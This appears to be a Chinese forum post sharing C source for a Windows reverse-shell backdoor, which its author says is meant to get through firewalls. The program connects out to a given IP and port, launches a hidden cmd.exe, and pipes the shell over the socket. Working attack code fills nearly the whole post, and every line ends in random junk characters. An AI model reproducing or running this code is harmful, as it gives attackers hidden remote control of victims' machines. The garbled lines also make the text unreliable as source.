这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 *~w?@,}
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/* ============================== _@VKWU$$
Rebound port in Windows NT &B++ "f
By wind,2006/7 P ?96;
===============================*/ 7HL23Vrk
#include L X #.
#include 9*Fc+/
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#pragma comment(lib,"wsock32.lib") jpOcug`f
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void OutputShell(); )i\foSbB`V
SOCKET sClient; ldc`Y/:{
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; (a~V<v"
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void main(int argc,char **argv) V8b^{}nxt
{ 1^[]#N-Bu
WSADATA stWsaData; =/ \l=*
int nRet; ;=@?( n
SOCKADDR_IN stSaiClient,stSaiServer; ?%/*F<UVQ
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if(argc != 3) v+dT7*^@
{ ha9 dz
printf("Useage:\n\rRebound DestIP DestPort\n"); ZmI#-[/
return; QkLcs6)R
} NH1ak(zHW
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WSAStartup(MAKEWORD(2,2),&stWsaData); IVeA[qA0
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); . TNJuuO
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stSaiClient.sin_family = AF_INET; yA`,ns&n
stSaiClient.sin_port = htons(0); u/wWD@,
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); k9c`[M
.
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 1KJ[&jS ]
{ G {a;s-OA3
printf("Bind Socket Failed!\n"); 5RY rAzQo
return; 1 -R4A7+3
}
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stSaiServer.sin_family = AF_INET; E.^u:0:P
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); k\ZU%"^J
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); pvRa
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 9'KOc5@l^
{ =S\pI
printf("Connect Error!"); lg
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return; 8P&z@E{y
} Qr?(2t#
OutputShell(); 0.1?hb|p5T
} 9Dyy&$s
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void OutputShell() lH"VLO2l
{ 1W9uWkk_d
char szBuff[1024]; 9FF
SECURITY_ATTRIBUTES stSecurityAttributes; D@k#'KU
OSVERSIONINFO stOsversionInfo; '2{60t_A
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ntZHO}'
STARTUPINFO stStartupInfo; j3>&Su>H4
char *szShell; 8Z
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PROCESS_INFORMATION stProcessInformation; )1O|+m k
unsigned long lBytesRead; q-e3;$
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); T\Jm=+]c!
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Tb]
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stSecurityAttributes.lpSecurityDescriptor = 0; \x"BgLSE
stSecurityAttributes.bInheritHandle = TRUE; <V#]3$(S
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ,~NJ}4wP
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); .;&4'ga4
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); n5*m x7
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; B5]nP .R
stStartupInfo.wShowWindow = SW_HIDE; y"zZ9HQM
stStartupInfo.hStdInput = hReadPipe; G52z5-=v
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ]YB,K)WQ
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GetVersionEx(&stOsversionInfo); :}o{<U
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switch(stOsversionInfo.dwPlatformId) X
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{ iF"kR]ZL
case 1: !'=<uU-
szShell = "command.com"; i"{znKz vD
break; |(9l_e|
default: Jz-RMX=
szShell = "cmd.exe"; 5"Y:^_8
break; hP
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} ~e+pa|lO
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); `L.nj6F
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send(sClient,szMsg,77,0);
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while(1) #?bOAWAwLh
{ S#\Cyn2(t
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 59(} D'lw>
if(lBytesRead) >< Qp%yT
{ :n oZ
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ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); =Unu>p}2V
send(sClient,szBuff,lBytesRead,0); ,go$6
} VQpwHzh
else Vv>hr+e
{ zBqNE`
lBytesRead=recv(sClient,szBuff,1024,0); Bo/i =/7%
if(lBytesRead<=0) break; 8ya|eJ]/L
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); NHzVA*f
} 1xsB@D
} T?D]]x
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return; &"X1w $
}